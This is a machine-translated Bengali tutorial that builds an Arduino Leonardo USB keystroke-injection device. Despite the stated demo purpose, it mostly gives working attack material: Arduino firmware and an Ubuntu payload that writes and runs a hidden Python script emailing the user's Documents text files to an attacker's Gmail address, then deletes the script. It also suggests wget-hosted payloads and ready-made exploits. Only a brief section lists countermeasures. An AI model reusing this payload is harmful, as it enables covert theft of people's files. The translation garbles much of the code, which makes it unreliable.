সুচিপত্র:

Arduino কীবোর্ড শোষণ ডেমো (HID) এবং প্রতিরোধ: 4 ধাপ (ছবি সহ)
Arduino কীবোর্ড শোষণ ডেমো (HID) এবং প্রতিরোধ: 4 ধাপ (ছবি সহ)

ভিডিও: Arduino কীবোর্ড শোষণ ডেমো (HID) এবং প্রতিরোধ: 4 ধাপ (ছবি সহ)

ভিডিও: Arduino কীবোর্ড শোষণ ডেমো (HID) এবং প্রতিরোধ: 4 ধাপ (ছবি সহ)
ভিডিও: Radio Frequency Exposure in my Office and at Home (EP39) 2024, জুলাই
Anonim
Image
Image
ডিভাইস নির্মাণ
ডিভাইস নির্মাণ

এই প্রকল্পে আমরা একটি Arduino leonardo ব্যবহার করতে যাচ্ছি HID (humain ইন্টারফেস ডিভাইস) ব্যবহার করে একটি সম্ভাব্য ইউএসবি আক্রমণের অনুকরণ করতে।

আমি এই টিউটোরিয়ালটি তৈরি করেছি হ্যাকারদের সাহায্য করার জন্য নয় বরং আপনাকে কিছু বাস্তব বিপদ দেখানোর জন্য এবং কিভাবে সেই বিপদ থেকে নিজেকে রক্ষা করা যায়। এই ডিভাইসটি এমন একটি ডিভাইস নয় যা হ্যাকারদের জন্য যে কোনো প্ল্যাটফর্মে ব্যবহার করা যায়, এটি বিস্তারিতভাবে ধারণার প্রমাণ।

আমরা নিম্নলিখিত শিখতে যাচ্ছি:

- কিভাবে কীবোর্ড অনুকরণ করতে arduino leonardo ব্যবহার করবেন

- কিভাবে এসডি কার্ড থেকে ডেটা পড়বেন

- কীভাবে একটি পাইথন স্ক্রিপ্ট তৈরি করা যায় যা ফাইলগুলি স্ক্যান করে এবং তাদের ইমেল করে

- কিভাবে ইউএসবি হ্যাকিং ডিভাইস থেকে নিজেকে রক্ষা করবেন

ধাপ 1: উপকরণ

অংশ:

1. আরডুইনো লিওনার্দো

2. মাইক্রো ইউএসবি কার্ড রিডার

3. কয়েক জিবি এসডি কার্ড

4. এই মত pushbutton (VCC, গ্রাউন্ড এবং সংকেত)

5. মহিলা-পুরুষ এবং মহিলা-মহিলা জাম্পার তারগুলি

6. মাইক্রো ইউএসবি থেকে ইউএসবি কেবল

ধাপ 2: ডিভাইস নির্মাণ

ডিভাইস নির্মাণ
ডিভাইস নির্মাণ

বিল্ডিং নির্দেশের আগে আসুন কাজের নীতিটি পর্যালোচনা করি:

আরডুইনো লিওনার্দো হিউম্যান ইন্টারফেস ডিভাইসের মতো আচরণ করতে পারে (HID) এবং তাই মাউস এবং কীবোর্ড অনুকরণ করতে পারে। আমরা এই বৈশিষ্ট্যটি ব্যবহার করতে যাচ্ছি একটি টার্মিনাল খুলতে (UBUNTU লিনাক্সে) এবং একটি ছোট স্ক্রিপ্ট লিখুন যা ব্যবহারকারীর হোম ফোল্ডার কপি.txt ফাইলগুলির ভিতরে /ডকুমেন্টস ফোল্ডার অ্যাক্সেস করবে এবং সেগুলি কাউকে ইমেল করবে। আপনি যদি আরও বিস্তারিত জানতে চান তবে পরবর্তী ধাপটি দেখুন।

কারণ এটি একটি ডেমো ডিভাইসের জিনিসগুলি খুব সহজ, আমরা কিছু বিক্রি করতে যাচ্ছি না।

বিল্ডিং নির্দেশাবলী

আমরা শুরু করার আগে সংযুক্ত ফাইলগুলি পরীক্ষা করে দেখি, আমি ফ্রিজিং স্কিম্যাটিক্স এবং সমস্ত প্রয়োজনীয় ফাইল সংযুক্ত করেছি

1. উপাদান একত্রিত করুন:

* আরডুইনোতে মাইক্রো ইউএসবি কেবল প্লাগ করুন

* কী সুইচটিকে আরডুইনোতে সংযুক্ত করুন (স্থল, ভিসিসি এবং আউট মডিউল D8)

* কার্ড রিডারকে আরডুইনোতে সংযুক্ত করুন (ICSP হেডার ব্যবহার করে)। আরডুইনো লিওনার্দোর ডিজিটাল পিনের সাথে ICSP হেডার সংযুক্ত নেই তাই আপনাকে কার্ড রিডারকে ICSP হেডারের সাথে সংযুক্ত করতে হবে। আপনি এখানে ICSP এর কিছু অঙ্কন খুঁজে পেতে পারেন: https://learn.sparkfun.com/tutorials/installing-an…। এসএস পিনকে ডিজিটাল পিন 10 এর সাথে সংযুক্ত করুন

2. Arduino কোড পান, আপনি github- এ আমার arduino সংগ্রহস্থল ক্লোন করতে পারেন: https://github.com/danionescu0/arduino এবং প্রকল্প/keyboard_exploit এ যান অথবা নীচে থেকে এটি পান:

#অন্তর্ভুক্ত "কীবোর্ড.এইচ"

#অন্তর্ভুক্ত "SPI.h" #অন্তর্ভুক্ত "SD.h" স্ট্রিং filenameOnCard = "hack.txt"; স্ট্রিং sleepCommandStartingPoint = "Sleep::"; স্ট্রিং commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; অকার্যকর সেটআপ () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); যদি (! SD.begin (chipSelect)) {Serial.println ("কার্ড ব্যর্থ হয়েছে, অথবা উপস্থিত নেই!"); প্রত্যাবর্তন; }} অকার্যকর লুপ () {int buttonState = digitalRead (buttonPin); যদি ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("আপলোড!"); বিলম্ব (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); যদি (! dataFile) {Serial.println ("নির্দিষ্ট ফাইলের নাম এসডি কার্ডে উপস্থিত নেই, filenameOnCard চেক করুন!"); } স্ট্রিং লাইন; যখন (dataFile.available ()) {line = dataFile.readStringUntil ('n'); Serial.println (লাইন); sendToKeyboard (লাইন); } dataFile.close (); } অকার্যকর sendToKeyboard (স্ট্রিং লাইন) {String workingLine = line; যদি (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); প্রত্যাবর্তন; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (লাইন); এন্টার চাপুন(); প্রত্যাবর্তন; } Serial.println ("কমান্ড:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); ওয়ার্কিং লাইন += ","; যখন (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); স্ট্রিং কমান্ড = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; যদি (কমান্ড! = "") {Serial.print ("কমান্ড পাওয়া গেছে:"); Serial.println (কমান্ড); Keyboard.press (getCommandCode (কমান্ড)); বিলম্ব (বিলম্বের মধ্যে কমান্ড); }} Keyboard.releaseAll (); বিলম্ব (বিলম্বের মধ্যে কমান্ড); } অকার্যকর pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } অকার্যকর ঘুমের জন্য (স্ট্রিং লাইন) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ())। toInt (); Serial.print ("ঘুমানোর জন্য:"); Serial.println (sleepAmount); বিলম্ব (ঘুমের পরিমাণ); } char getCommandCode (স্ট্রিং টেক্সট) {char textCharacters [2]; text.toCharArray (textCharacters, 2); চার কোড = টেক্সট অক্ষর [0]; কোড = (টেক্সট == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: কোড; কোড = (টেক্সট == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: কোড; কোড = (টেক্সট == "KEY_LEFT_ALT")? KEY_LEFT_ALT: কোড; কোড = (টেক্সট == "KEY_UP_ARROW")? KEY_UP_ARROW: কোড; কোড = (টেক্সট == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: কোড; কোড = (টেক্সট == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: কোড; কোড = (টেক্সট == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: কোড; কোড = (টেক্সট == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: কোড; কোড = (টেক্সট == "KEY_BACKSPACE")? KEY_BACKSPACE: কোড; কোড = (টেক্সট == "KEY_TAB")? KEY_TAB: কোড; কোড = (টেক্সট == "KEY_RETURN")? KEY_RETURN: কোড; কোড = (টেক্সট == "KEY_ESC")? KEY_ESC: কোড; কোড = (টেক্সট == "KEY_INSERT")? KEY_INSERT: কোড; কোড = (টেক্সট == "KEY_DELETE")? KEY_DELETE: কোড; কোড = (টেক্সট == "KEY_PAGE_UP")? KEY_PAGE_UP: কোড; কোড = (টেক্সট == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: কোড; কোড = (টেক্সট == "কী_হোম")? KEY_HOME: কোড; কোড = (টেক্সট == "KEY_END")? KEY_END: কোড; কোড = (টেক্সট == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: কোড; কোড = (টেক্সট == "KEY_F1")? KEY_F1: কোড; কোড = (টেক্সট == "KEY_F2")? KEY_F2: কোড; কোড = (টেক্সট == "KEY_F3")? KEY_F3: কোড; কোড = (টেক্সট == "KEY_F4")? KEY_F4: কোড; কোড = (টেক্সট == "KEY_F5")? KEY_F5: কোড; কোড = (টেক্সট == "KEY_F6")? KEY_F6: কোড; কোড = (টেক্সট == "KEY_F7")? KEY_F7: কোড; কোড = (টেক্সট == "KEY_F8")? KEY_F8: কোড; কোড = (টেক্সট == "KEY_F9")? KEY_F9: কোড; কোড = (টেক্সট == "KEY_F10")? KEY_F10: কোড; কোড = (টেক্সট == "KEY_F11")? KEY_F1: কোড; কোড = (টেক্সট == "KEY_F12")? KEY_F2: কোড;

রিটার্ন কোড;

}

3. আরডুইনোতে কোড আপলোড করুন, 9600 বড রেট, সিরিয়াল পোর্ট এবং আরডুইনো লিওনার্দো নির্বাচন করতে ভুলবেন না

4. FAT16 বা FAT32 ব্যবহার করে এসডি কার্ড ফরম্যাট করুন

5. যদি আপনি উপরে থেকে গিথুব রেপো ক্লোন করেন, কার্ডে hack.txt ফাইলটি অনুলিপি করুন, যদি ফাইলটি নীচে তালিকাভুক্ত না হয়:

কমান্ড:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase MIMEText ইমেল থেকে MIMEText আমদানি করুন।

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documents'

বিষয় = শরীর = 'হ্যাকড কম্পিউটার থেকে ফাইল'

হেডার = 'থেকে: {0} n এখান থেকে: {1} n বিষয়: {2} n'.format (to_address, smtp_user, subject)

def sendMail (to, subject, text, files = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (text)) ফাইলের ফাইলের জন্য: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb")। Read ()) Encoders.encode_base64 (part) part। add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (part)

সার্ভার = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*। txt".format (expanduser (""), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. নিম্নলিখিত লাইন সম্পাদনা করুন:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

এবং আপনার ইমেল ঠিকানা দিয়ে প্রতিস্থাপন করুন

7. কার্ডটি সরান এবং এটি arduino কার্ড রিডারে োকান

ধাপ 3: এটি কিভাবে বিস্তারিতভাবে কাজ করে

আক্রমণ কিভাবে কাজ করবে:

1. যখন বোতাম টিপুন, লিওনার্দো একটি এসডি কার্ড রিডার ব্যবহার করে এসডি কার্ড পড়বে। একটি বিশেষ ফাইল যা কী এবং কী সমন্বয় ধারণ করে কার্ডে উপস্থিত থাকবে। ফাইলের নাম "hack.txt"।

ফাইলটিতে কাঁচা টেক্সট থাকতে পারে, এবং এটি কীবোর্ডে ঠিক যেমনটি পাঠানো হবে।

এছাড়াও এতে "স্লিপ::" এবং "কমান্ড::" এর মতো বিশেষ কমান্ড থাকতে পারে।

একটি লাইন যেমন:

ঘুম:: 200 মানে 200 ms ঘুম

একটি লাইন যেমন:

কমান্ড:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t মানে বাম ctrl চাপা, বাম Alt চাপা, টি চাপা এবং সব মুক্তি

আপনি এখানে সমস্ত বিশেষ কী পরীক্ষা করতে পারেন:

2. লিওনার্দো লাইন দ্বারা লাইন পড়বে, এবং কমান্ডগুলি ব্যাখ্যা করবে এবং কীবোর্ডের কীগুলি অনুকরণ করবে। "Hack.txt" ফাইলটিতে কীগুলির সমন্বয় রয়েছে যা নিম্নলিখিতগুলি করে (UBUNTU লিনাক্সের জন্য):

ক। একটি টার্মিনাল খোলে (CTRL + ALT + T)

খ। vi ব্যবহার করে সৃষ্টির জন্য একটি পাইথন ফাইল খোলে (লিখেছে "vi hack.py"

গ। ভিতরে একটি পাইথন স্ক্রিপ্ট লিখেন যা ডকুমেন্টস হোম ফোল্ডারের ভিতরে সমস্ত পাঠ্য ফাইল সংগ্রহ করে এবং একটি নির্দিষ্ট জিমেইল ঠিকানায় পাঠায়

ঘ। ব্যাকগ্রাউন্ডে ফাইল চালায় ("nohup python hack.py &")

ই ফাইল মুছে দেয় (rm -rf hack.py)

চ। টার্মিনাল বন্ধ করে (ALT + F4)

এই পুরো জিনিসটি কয়েক সেকেন্ডের মধ্যে চলে এবং ট্রেস ছেড়ে যায় না।

উন্নতি এবং সমস্যা সমাধান

* আপনি লক্ষ্য করতে পারেন যে আমি একটি টার্মিনাল খোলার পর আমি পাইথন ফাইল লিখছি। এটির একটি ভাল উপায় হ'ল এটি কোথাও হোস্ট করা এবং "wget some_url" কমান্ড ব্যবহার করে এটি ডাউনলোড করা, তারপরে এটিকে হ্যাক.পি তে নামকরণ করুন

* এছাড়াও আমরা টার্গেটেড অপারেটিং সিস্টেমের জন্য রেডিমেড এক্সপ্লিট ডাউনলোড বা চালাতে পারি

* মডিউলে ওয়াইফাই যোগ করা যেতে পারে, এবং হ্যাকগুলি ওয়াইফাই এর মাধ্যমে আপলোড করা যায়

* আপনি আরডুইনো মাইক্রো (যা অনেক ছোট) ব্যবহার করতে পারেন এবং এটিতে এক্সপ্লয়েট কোড এম্বেড করতে পারেন (এটি ছোট করার জন্য)

সীমাবদ্ধতা

1. কারণ সিমুলেটেড ডিভাইস (কীবোর্ড এবং মাউস) এর কোন প্রতিক্রিয়া নেই আমরা জানি না একটি কমান্ড জারি করার পরে কি হবে যার মানে আমাদের বিলম্ব ব্যবহার করতে হবে। উদাহরণস্বরূপ আমি টার্মিনাল খুলতে একটি আদেশ জারি করছি, কিন্তু আমি জানি না এটি আসলে কখন খোলা হবে, তাই টাইপ করা অক্ষরগুলি হারিয়ে যাবে না তা নিশ্চিত করার জন্য আমাকে একটি নির্বিচারে বিলম্ব নির্দিষ্ট করতে হবে।

2. আমরা অনুমতি সমস্যা সম্মুখীন হতে পারে যেমন USB পোর্ট অ্যাক্সেস না থাকা বা কিছু ইনস্টল করার অনুমতি

3. টাইপিং গতি লিওনার্দোতে এতটা ভাল নয়

4. শুধুমাত্র একটি লক্ষ্যযুক্ত অপারেটিং সিস্টেমে কাজ করবে (আমাদের ক্ষেত্রে UBUNTU লিনাক্স)

পরবর্তী ধাপে আমাদের কম্পিউটার হ্যাক হওয়া থেকে রোধ করার জন্য এই সীমাবদ্ধতাগুলোকে কাজে লাগানোর উপায় খুঁজে বের করার চেষ্টা করা হবে

ধাপ 4: পাল্টা ব্যবস্থা

1. ইউএসবি পোর্ট নিষ্ক্রিয় করা

-উইন্ডোজের জন্য আপনি এই টিউটোরিয়ালটি দেখতে পারেন:

2. হোয়াইটলিস্ট ইউএসবি ডিভাইস:

- উইন্ডোজের জন্য:

2. যখন আপনি দূরে নন তখন আপনার কম্পিউটার লক করুন

3. রুট হিসাবে লগইন করবেন না (কিছু ইনস্টল করার জন্য পাসওয়ার্ড প্রয়োজন)

4. নিজেকে আপ টু ডেট রাখুন (স্বয়ংক্রিয় আপডেট অন)

প্রস্তাবিত: